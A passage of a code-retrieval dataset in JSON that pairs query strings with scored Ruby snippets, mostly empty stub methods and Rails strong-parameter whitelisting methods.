[ { "docid": "32888eaefa667f550271b6de711b600c", "score": "0.0", "text": "def get_price_intersections history\n close_prices = history[\"historicals\"].map{|h| h[\"close_price\"].to_f}\n period_one = 50\n period_two = 200\n periods = [period_one, period_two].sort!\n shorter_sma = simple_moving_average(close_prices, periods.first)\n longer_sma = simple_moving_average(close_prices, periods.last)\n combined = longer_sma.reverse.map.with_index{|longer,i| {shorter_sma: shorter_sma[(i*-1)-1], longer_sma: longer}}\n combined.each_with_index do |data,i|\n data[:current_price] = history[\"historicals\"][(i*-1)-1][\"close_price\"].to_f\n data[:date] = history[\"historicals\"][(i*-1)-1][\"begins_at\"]\n end\n combined.reverse!\n prev_change = combined.first[:shorter_sma] / combined.first[:longer_sma] - 1\n combined.each_with_index do |data,i|\n next if i == 0\n change = data[:shorter_sma] / data[:longer_sma] - 1\n if prev_change.negative? && change.positive?\n # upward trend\n data[:action] = :buy\n end\n if prev_change.positive? && change.negative?\n # downward trend\n data[:action] = :sell\n end\n prev_change = change\n end\n raise combined.select{|data| data[:action].present?}.to_s\n end", "title": "" } ]
[ { "docid": "ef1e4c0cc26e4eec8642a7d74e09c9d1", "score": "0.7564463", "text": "def private; end", "title": "" }, { "docid": "0b8b7b9666e4ed32bfd448198778e4e9", "score": "0.6487012", "text": "def probers; end", "title": "" }, { "docid": "d8ae3e2b236950074c4632d180274b8a", "score": "0.6443618", "text": "def specie; end", "title": "" }, { "docid": "d8ae3e2b236950074c4632d180274b8a", "score": "0.6443618", "text": "def specie; end", "title": "" }, { "docid": "d8ae3e2b236950074c4632d180274b8a", "score": "0.6443618", "text": "def specie; end", "title": "" }, { "docid": "d8ae3e2b236950074c4632d180274b8a", "score": "0.6443618", "text": "def specie; end", "title": "" }, { "docid": "65ffca17e416f77c52ce148aeafbd826", "score": "0.6320818", "text": "def schubert; end", "title": "" }, { "docid": "991b6f12a63ef51664b84eb729f67eed", "score": "0.6108525", "text": "def formation; end", "title": "" }, { "docid": "2cc9969eb7789e4fe75844b6f57cb6b4", "score": "0.60317445", "text": "def refutal()\n end", "title": "" }, { "docid": "a02f7382c73eef08b14f38d122f7bdb9", "score": "0.5999758", "text": "def custom; end", "title": "" }, { "docid": "a02f7382c73eef08b14f38d122f7bdb9", "score": "0.5999758", "text": "def custom; end", "title": "" }, { "docid": "2d8d9f0527a44cd0febc5d6cbb3a22f2", "score": "0.5896867", "text": "def weber; end", "title": "" }, { "docid": "ad244bd0c45d5d9274f7612fa6fee986", "score": "0.5875842", "text": "def suivre; end", "title": "" }, { "docid": "cf2231631bc862eb0c98d89194d62a88", "score": "0.5872293", "text": "def identify; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.58635753", "text": "def implementation; end", "title": "" }, { "docid": "3660c5f35373aec34a5a7b0869a4a8bd", "score": "0.58635753", "text": "def implementation; end", "title": "" }, { "docid": "4a8a45e636a05760a8e8c55f7aa1c766", "score": "0.58095163", "text": "def terpene; end", "title": "" }, { "docid": "06b6203baf3c9311f502228839c5ab4e", "score": "0.5796765", "text": "def intensifier; end", "title": "" }, { "docid": "d88aeca0eb7d8aa34789deeabc5063cf", "score": "0.5769712", "text": "def offences_by; end", "title": "" }, { "docid": "3103349d09f884a9193b8c4ac184a666", "score": "0.57309085", "text": "def wrapper; end", "title": "" }, { "docid": "2dbabd0eeb642c38aad852e40fc6aca7", "score": "0.569955", "text": "def operations; end", "title": "" }, { "docid": "2dbabd0eeb642c38aad852e40fc6aca7", "score": "0.569955", "text": "def operations; end", "title": "" }, { "docid": "4755d31a6608e0430dd90f7323468cc5", "score": "0.5694055", "text": "def reflector; end", "title": "" }, { "docid": "4755d31a6608e0430dd90f7323468cc5", "score": "0.5694055", "text": "def reflector; end", "title": "" }, { "docid": "a29c5ce532d6df480df4217790bc5fc7", "score": "0.5675322", "text": "def extra; end", "title": "" }, { "docid": "a18186567d58d46fbcb43c48faf2ab4b", "score": "0.5663124", "text": "def apply\n\t\t\n\tend", "title": "" }, { "docid": "a18186567d58d46fbcb43c48faf2ab4b", "score": "0.5663124", "text": "def apply\n\t\t\n\tend", "title": "" }, { "docid": "13289d4d24c54cff8b70fcaefc85384e", "score": "0.56600404", "text": "def verdi; end", "title": "" }, { "docid": "cdd16ea92eae0350ca313fc870e10526", "score": "0.56368816", "text": "def who_we_are\r\n end", "title": "" }, { "docid": "1f60ec3e87d82a4252630cec8fdc8950", "score": "0.5619404", "text": "def berlioz; end", "title": "" }, { "docid": "6a6ed5368f43a25fb9264e65117fa7d1", "score": "0.5618551", "text": "def internal; end", "title": "" }, { "docid": "a606ff314b37ba47be08b757ff538b5e", "score": "0.56181985", "text": "def processor; end", "title": "" }, { "docid": "7ff2011fa3dc45585a9272310eafb765", "score": "0.56099164", "text": "def isolated; end", "title": "" }, { "docid": "7ff2011fa3dc45585a9272310eafb765", "score": "0.56099164", "text": "def isolated; end", "title": "" }, { "docid": "9d841b89340438a2d53048b8b0959e75", "score": "0.5583636", "text": "def sitemaps; end", "title": "" }, { "docid": "bc658f9936671408e02baa884ac86390", "score": "0.55832124", "text": "def anchored; end", "title": "" }, { "docid": "5971f871580b6a6e5171c35946a30c95", "score": "0.5581891", "text": "def stderrs; end", "title": "" }, { "docid": "005e6fc140cba1f79535dcb415d4bcd9", "score": "0.5578614", "text": "def strategy; end", "title": "" }, { "docid": "cfbcefb24f0d0d9b60d1e4c0cf6273ba", "score": "0.55610627", "text": "def trd; end", "title": "" }, { "docid": "a7e46056aae02404670c78192ffb8f3f", "score": "0.5559334", "text": "def original_result; end", "title": "" }, { "docid": "f1736df8e6642c2eeb78e4b30e5cf678", "score": "0.55425763", "text": "def from; end", "title": "" }, { "docid": "f1736df8e6642c2eeb78e4b30e5cf678", "score": "0.55425763", "text": "def from; end", "title": "" }, { "docid": "f1736df8e6642c2eeb78e4b30e5cf678", "score": "0.55425763", "text": "def from; end", "title": "" }, { "docid": "f1736df8e6642c2eeb78e4b30e5cf678", "score": "0.55425763", "text": "def from; end", "title": "" }, { "docid": "5ad7e5c7a147626a2b0a2c5956411be5", "score": "0.5506677", "text": "def r; end", "title": "" }, { "docid": "5ad7e5c7a147626a2b0a2c5956411be5", "score": "0.5506677", "text": "def r; end", "title": "" }, { "docid": "eb813b4c171b5a75ecb2253b743e7c3a", "score": "0.5499661", "text": "def parslet; end", "title": "" }, { "docid": "eb813b4c171b5a75ecb2253b743e7c3a", "score": "0.5499661", "text": "def parslet; end", "title": "" }, { "docid": "eb813b4c171b5a75ecb2253b743e7c3a", "score": "0.5499661", "text": "def parslet; end", "title": "" }, { "docid": "eb813b4c171b5a75ecb2253b743e7c3a", "score": "0.5499661", "text": "def parslet; end", "title": "" }, { "docid": "07388179527877105fd7246db2b49188", "score": "0.54784447", "text": "def villian; end", "title": "" }, { "docid": "0a39799e76643367f1b6bfac65569895", "score": "0.5462444", "text": "def used?; end", "title": "" }, { "docid": "dd68931a1a7f77eb4fd41ce35988a9bb", "score": "0.54444516", "text": "def returns; end", "title": "" }, { "docid": "51cbc664905c5759f5e6775045d2aad7", "score": "0.5443973", "text": "def next() end", "title": "" }, { "docid": "51cbc664905c5759f5e6775045d2aad7", "score": "0.5443973", "text": "def next() end", "title": "" }, { "docid": "bd395ef5570ec94ad67ca3120a943fca", "score": "0.54427564", "text": "def operation; end", "title": "" }, { "docid": "701359444c3bc529044a50b60481e991", "score": "0.5433655", "text": "def reflection; end", "title": "" }, { "docid": "701359444c3bc529044a50b60481e991", "score": "0.5433655", "text": "def reflection; end", "title": "" }, { "docid": "b3d7c178b277afaefb1b9648335941e7", "score": "0.5429191", "text": "def loc; end", "title": "" }, { "docid": "b3d7c178b277afaefb1b9648335941e7", "score": "0.5429191", "text": "def loc; end", "title": "" }, { "docid": "b3d7c178b277afaefb1b9648335941e7", "score": "0.5429191", "text": "def loc; end", "title": "" }, { "docid": "5ab49f4a4e76cf57dddfec246839f72d", "score": "0.54276574", "text": "def run; end", "title": "" }, { "docid": "5ab49f4a4e76cf57dddfec246839f72d", "score": "0.54276574", "text": "def run; end", "title": "" }, { "docid": "5ab49f4a4e76cf57dddfec246839f72d", "score": "0.54276574", "text": "def run; end", "title": "" }, { "docid": "5ab49f4a4e76cf57dddfec246839f72d", "score": "0.54276574", "text": "def run; end", "title": "" }, { "docid": "5ab49f4a4e76cf57dddfec246839f72d", "score": "0.54276574", "text": "def run; end", "title": "" }, { "docid": "5ab49f4a4e76cf57dddfec246839f72d", "score": "0.54276574", "text": "def run; end", "title": "" }, { "docid": "5ab49f4a4e76cf57dddfec246839f72d", "score": "0.54276574", "text": "def run; end", "title": "" }, { "docid": "5ab49f4a4e76cf57dddfec246839f72d", "score": "0.54276574", "text": "def run; end", "title": "" }, { "docid": "5ab49f4a4e76cf57dddfec246839f72d", "score": "0.54276574", "text": "def run; end", "title": "" }, { "docid": "c918c608568a07ccb7942829faf6d0ff", "score": "0.54258317", "text": "def result; end", "title": "" }, { "docid": "c918c608568a07ccb7942829faf6d0ff", "score": "0.54258317", "text": "def result; end", "title": "" }, { "docid": "c918c608568a07ccb7942829faf6d0ff", "score": "0.54258317", "text": "def result; end", "title": "" }, { "docid": "c918c608568a07ccb7942829faf6d0ff", "score": "0.54258317", "text": "def result; end", "title": "" }, { "docid": "c918c608568a07ccb7942829faf6d0ff", "score": "0.54258317", "text": "def result; end", "title": "" }, { "docid": "c918c608568a07ccb7942829faf6d0ff", "score": "0.54258317", "text": "def result; end", "title": "" }, { "docid": "c918c608568a07ccb7942829faf6d0ff", "score": "0.54258317", "text": "def result; end", "title": "" }, { "docid": "c918c608568a07ccb7942829faf6d0ff", "score": "0.54258317", "text": "def result; end", "title": "" }, { "docid": "e6431ff47476c9014fb64198d5853e1e", "score": "0.53957415", "text": "def overrides; end", "title": "" }, { "docid": "3fe16723cfe073a33d3a2398f331e395", "score": "0.5393888", "text": "def transformations; end", "title": "" }, { "docid": "9fbec9b2bcd97ad59997b3cbc61b2258", "score": "0.5388981", "text": "def handle; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.5383928", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.5383928", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.5383928", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.5383928", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.5383928", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.5383928", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.5383928", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.5383928", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.5383928", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.5383928", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.5383928", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.5383928", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.5383928", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.5383928", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.5383928", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.5383928", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.5383928", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.5383928", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.5383928", "text": "def context; end", "title": "" }, { "docid": "e3061c29e5b1c24792771045ed903e06", "score": "0.5383928", "text": "def context; end", "title": "" } ]
c657de4b70d266e9a3a784b999ea9e60
Never trust parameters from the scary internet, only allow the white list through.
[ { "docid": "5500d5a3fc5d18265ecd7f9d94573e28", "score": "0.0", "text": "def history_log_params\n end", "title": "" } ]
[ { "docid": "e164094e79744552ae1c53246ce8a56c", "score": "0.69792545", "text": "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "title": "" }, { "docid": "e662f0574b56baff056c6fc4d8aa1f47", "score": "0.6781151", "text": "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "1677b416ad07c203256985063859691b", "score": "0.67419964", "text": "def allow_params_authentication!; end", "title": "" }, { "docid": "c1f317213d917a1e3cfa584197f82e6c", "score": "0.674013", "text": "def allowed_params\n ALLOWED_PARAMS\n end", "title": "" }, { "docid": "547b7ab7c31effd8dcf394d3d38974ff", "score": "0.6734356", "text": "def default_param_whitelist\n [\"mode\"]\n end", "title": "" }, { "docid": "a91e9bf1896870368befe529c0e977e2", "score": "0.6591046", "text": "def param_whitelist\n [:role, :title]\n end", "title": "" }, { "docid": "b32229655ba2c32ebe754084ef912a1a", "score": "0.6502396", "text": "def expected_permitted_parameter_names; end", "title": "" }, { "docid": "3a9a65d2bba924ee9b0f67cb77596482", "score": "0.6496313", "text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "title": "" }, { "docid": "068f8502695b7c7f6d382f8470180ede", "score": "0.6480641", "text": "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.6477825", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "c04a150a23595af2a3d515d0dfc34fdd", "score": "0.64565", "text": "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "title": "" }, { "docid": "9a2a1af8f52169bd818b039ef030f513", "score": "0.6438387", "text": "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "title": "" }, { "docid": "c5f294dd85260b1f3431a1fbbc1fb214", "score": "0.63791263", "text": "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "title": "" }, { "docid": "631f07548a1913ef9e20ecf7007800e5", "score": "0.63740575", "text": "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "title": "" }, { "docid": "9735bbaa391eab421b71a4c1436d109e", "score": "0.6364131", "text": "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "12fa2760f5d16a1c46a00ddb41e4bce2", "score": "0.63192815", "text": "def param_whitelist\n [:rating, :review]\n end", "title": "" }, { "docid": "f12336a181f3c43ac8239e5d0a59b5b4", "score": "0.62991166", "text": "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "title": "" }, { "docid": "c25a1ea70011796c8fcd4927846f7a04", "score": "0.62978333", "text": "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "title": "" }, { "docid": "822c743e15dd9236d965d12beef67e0c", "score": "0.6292148", "text": "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "title": "" }, { "docid": "7f0fd756d3ff6be4725a2c0449076c58", "score": "0.6290449", "text": "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "title": "" }, { "docid": "9d23b31178b8be81fe8f1d20c154336f", "score": "0.6290076", "text": "def valid_params_request?; end", "title": "" }, { "docid": "533f1ba4c3ab55e79ed9b259f67a70fb", "score": "0.62894756", "text": "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "title": "" }, { "docid": "5f16bb22cb90bcfdf354975d17e4e329", "score": "0.6283177", "text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "title": "" }, { "docid": "1dfca9e0e667b83a9e2312940f7dc40c", "score": "0.6242471", "text": "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "title": "" }, { "docid": "a44360e98883e4787a9591c602282c4b", "score": "0.62382483", "text": "def allowed_params\n params.require(:allowed).permit(:email)\n end", "title": "" }, { "docid": "4fc36c3400f3d5ca3ad7dc2ed185f213", "score": "0.6217549", "text": "def permitted_params\n []\n end", "title": "" }, { "docid": "7a218670e6f6c68ab2283e84c2de7ba8", "score": "0.6214457", "text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "title": "" }, { "docid": "b074031c75c664c39575ac306e13028f", "score": "0.6209053", "text": "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "title": "" }, { "docid": "0cb77c561c62c78c958664a36507a7c9", "score": "0.6193042", "text": "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "title": "" }, { "docid": "9892d8126849ccccec9c8726d75ff173", "score": "0.6177802", "text": "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "title": "" }, { "docid": "e3089e0811fa34ce509d69d488c75306", "score": "0.6174604", "text": "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "title": "" }, { "docid": "7b7196fbaee9e8777af48e4efcaca764", "score": "0.61714715", "text": "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "title": "" }, { "docid": "9d589006a5ea3bb58e5649f404ab60fb", "score": "0.6161512", "text": "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "title": "" }, { "docid": "d578c7096a9ab2d0edfc431732f63e7f", "score": "0.6151757", "text": "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "title": "" }, { "docid": "38a9fb6bd1d9ae5933b748c181928a6b", "score": "0.6150663", "text": "def safe_params\n params.require(:user).permit(:name)\n end", "title": "" }, { "docid": "7a6fbcc670a51834f69842348595cc79", "score": "0.61461", "text": "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "title": "" }, { "docid": "fe4025b0dd554f11ce9a4c7a40059912", "score": "0.61213595", "text": "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.611406", "text": "def check_params; true; end", "title": "" }, { "docid": "60ccf77b296ed68c1cb5cb262bacf874", "score": "0.6106206", "text": "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "3c8ffd5ef92e817f2779a9c56c9fc0e9", "score": "0.6105114", "text": "def quote_params\n params.permit!\n end", "title": "" }, { "docid": "86b2d48cb84654e19b91d9d3cbc2ff80", "score": "0.6089039", "text": "def valid_params?; end", "title": "" }, { "docid": "34d018968dad9fa791c1df1b3aaeccd1", "score": "0.6081015", "text": "def paramunold_params\n params.require(:paramunold).permit!\n end", "title": "" }, { "docid": "6d41ae38c20b78a3c0714db143b6c868", "score": "0.6071004", "text": "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.60620916", "text": "def filtered_parameters; end", "title": "" }, { "docid": "49052f91dd936c0acf416f1b9e46cf8b", "score": "0.6019971", "text": "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "title": "" }, { "docid": "5eaf08f3ad47cc781c4c1a5453555b9c", "score": "0.601788", "text": "def filtering_params\n params.permit(:email, :name)\n end", "title": "" }, { "docid": "5ee931ad3419145387a2dc5a284c6fb6", "score": "0.6011056", "text": "def check_params\n true\n end", "title": "" }, { "docid": "3b17d5ad24c17e9a4c352d954737665d", "score": "0.6010898", "text": "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "74c092f6d50c271d51256cf52450605f", "score": "0.6001556", "text": "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "title": "" }, { "docid": "75415bb78d3a2b57d539f03a4afeaefc", "score": "0.6001049", "text": "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "title": "" }, { "docid": "bb32aa218785dcd548537db61ecc61de", "score": "0.59943926", "text": "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "title": "" }, { "docid": "65fa57add93316c7c8c6d8a0b4083d0e", "score": "0.5992201", "text": "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "title": "" }, { "docid": "865a5fdd77ce5687a127e85fc77cd0e7", "score": "0.59909594", "text": "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "title": "" }, { "docid": "ec609e2fe8d3137398f874bf5ef5dd01", "score": "0.5990628", "text": "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "title": "" }, { "docid": "423b4bad23126b332e80a303c3518a1e", "score": "0.5980841", "text": "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "title": "" }, { "docid": "48e86c5f3ec8a8981d8293506350accc", "score": "0.59669393", "text": "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "title": "" }, { "docid": "9f774a9b74e6cafa3dd7fcc914400b24", "score": "0.59589154", "text": "def active_code_params\n params[:active_code].permit\n end", "title": "" }, { "docid": "a573514ae008b7c355d2b7c7f391e4ee", "score": "0.5958826", "text": "def filtering_params\n params.permit(:email)\n end", "title": "" }, { "docid": "2202d6d61570af89552803ad144e1fe7", "score": "0.5957911", "text": "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "title": "" }, { "docid": "8b571e320cf4baff8f6abe62e4143b73", "score": "0.5957385", "text": "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "title": "" }, { "docid": "d493d59391b220488fdc1f30bd1be261", "score": "0.5953072", "text": "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "title": "" }, { "docid": "f18c8e1c95a8a21ba8cd6fbc6d4d524a", "score": "0.59526145", "text": "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "title": "" }, { "docid": "4e6017dd56aab21951f75b1ff822e78a", "score": "0.5943361", "text": "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "title": "" }, { "docid": "67fe19aa3f1169678aa999df9f0f7e95", "score": "0.59386164", "text": "def list_params\n params.permit(:name)\n end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.59375334", "text": "def filter_parameters; end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.59375334", "text": "def filter_parameters; end", "title": "" }, { "docid": "5060615f2c808bab2d45f4d281987903", "score": "0.5933856", "text": "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "title": "" }, { "docid": "7fa620eeb32e576da67f175eea6e6fa0", "score": "0.59292704", "text": "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "title": "" }, { "docid": "d9483565c400cd4cb1096081599a7afc", "score": "0.59254247", "text": "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "title": "" }, { "docid": "f7c6dad942d4865bdd100b495b938f50", "score": "0.5924164", "text": "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "title": "" }, { "docid": "70fa55746056e81854d70a51e822de66", "score": "0.59167904", "text": "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "title": "" }, { "docid": "3683f6af8fc4e6b9de7dc0c83f88b6aa", "score": "0.59088355", "text": "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "title": "" }, { "docid": "3eef50b797f6aa8c4def3969457f45dd", "score": "0.5907542", "text": "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "753b67fc94e3cd8d6ff2024ce39dce9f", "score": "0.59064597", "text": "def url_whitelist; end", "title": "" }, { "docid": "f9f0da97f7ea58e1ee2a5600b2b79c8c", "score": "0.5906243", "text": "def admin_social_network_params\n params.require(:social_network).permit!\n end", "title": "" }, { "docid": "5bdab99069d741cb3414bbd47400babb", "score": "0.5898226", "text": "def filter_params\n params.require(:filters).permit(:letters)\n end", "title": "" }, { "docid": "7c5ee86a81b391c12dc28a6fe333c0a8", "score": "0.589687", "text": "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "title": "" }, { "docid": "de77f0ab5c853b95989bc97c90c68f68", "score": "0.5896091", "text": "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "title": "" }, { "docid": "29d030b36f50179adf03254f7954c362", "score": "0.5894501", "text": "def sensitive_params=(params)\n @sensitive_params = params\n end", "title": "" }, { "docid": "bf321f5f57841bb0f8c872ef765f491f", "score": "0.5894289", "text": "def permit_request_params\n params.permit(:address)\n end", "title": "" }, { "docid": "5186021506f83eb2f6e244d943b19970", "score": "0.5891739", "text": "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "title": "" }, { "docid": "b85a12ab41643078cb8da859e342acd5", "score": "0.58860534", "text": "def secure_params\n params.require(:location).permit(:name)\n end", "title": "" }, { "docid": "46e104db6a3ac3601fe5904e4d5c425c", "score": "0.5882406", 